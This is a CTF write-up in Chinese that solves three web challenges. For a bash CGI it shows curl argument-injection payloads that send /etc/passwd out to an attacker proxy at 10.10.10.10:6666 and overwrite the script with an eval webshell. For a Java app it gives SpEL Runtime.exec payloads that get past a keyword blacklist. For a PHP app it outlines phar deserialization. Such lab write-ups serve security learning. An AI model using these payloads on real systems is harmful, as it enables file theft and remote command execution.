bashinj

源码index.cgi

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name

虽然$name可控,但无法达成任意命令注入的效果

bash会将像curl这样的命令视为“函数”,并不具备像eval这样的动态执行的能力,也就是说我们只能控制住curl的参数。

读文件

本地监听6666,用-x来控制curl的代理服务器为我们的攻击机,外带数据

1
2
3
4
5
6
7
name=sa -F file=@index.cgi -x 10.10.10.10:6666
name=sa -F file=@/etc/passwd -x 10.10.10.10:6666
name=sa -T /etc/passwd -x 10.10.10.10:6666 //-T是文件上传操作
name=sa --data-binary @index.cgi -x 10.10.10.10:6666

这里还有一个有意思的payload,不需要劫持,可惜需要绝对路径。
name=sa file:///etc/passwd

写文件

在curl中,-o参数是将指定curl返回保存为文件,可以配合-x来劫持返回包写webshell

这里只能选择覆写index.cgi,否则写入的文件权限不够无法访问

1
name=sa -o index.cgi -x 10.10.10.10:6666

nc监听6666端口后直接输入webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name

name=${_GET["cmd"]}

eval $name

直接命令执行

image-20230316234434257

javacon

源码中可以查看配置文件

1
2
iv=0123456789abcdef
key=c0dehack1nghere1

image-20230317001616792

在源码中admin界面,会从cookie的rememberMe中解密得到username,再调用getAdvanceValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,
HttpSession session,
Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}

Object username = session.getAttribute("username");
if(username == null || username.toString().equals("")) {
return "redirect:/login";
}

model.addAttribute("name", getAdvanceValue(username.toString()));
return "hello";
}

我们知道了iv和key就可以控制getAdvanceValue函数的参数

查看以下getAdvanceValue函数,明显的spel注入

1
2
3
4
5
6
7
8
9
10
11
12
13
private String getAdvanceValue(String val) {
for (String keyword: keyworkProperties.getBlacklist()) {
Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}

ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}

使用TemplateParserContext解析,所以加上#{x}

1
#{T(java.lang.Runtime).getRuntime().exec("calc")}

反射绕过字符串黑名单

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

lumenserial

app\Http\Controllers\EditorController.php中有以下的函数

do开头的都可以直接用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected function doUploadImage(Request $request)
{
//....
}
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//..
}
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//..
}
protected function doUploadImage(Request $request)
{
//..
}
protected function doListImage(Request $request)
{
//..
}
protected function doConfig(Request $request)
{
//..
}

doUploadImage可以上传图片,doCatchimage可以调用download,从而控制file_get_contents($url),可以触发phar反序列化

接下来就是找链子

题目环境中ban了很多的函数,我们可以尝试用file_put_contents写个马,再进行命令执行

Reference

代码审计知识星球二周年 && Code-Breaking Puzzles

SpEL注入RCE分析与绕过 - 先知社区 (aliyun.com)

SPEL注入流程分析及CTF中如何使用 - 知乎 (zhihu.com)

https://www.mi1k7ea.com/2019/03/17/SpEL%E6%B3%A8%E5%85%A5%E4%B9%8Bjavacon/

PHP反序列化入门之寻找POP链(一)-安全客 - 安全资讯平台 (anquanke.com)

PHP反序列化入门之寻找POP链(二)-安全客 - 安全资讯平台 (anquanke.com)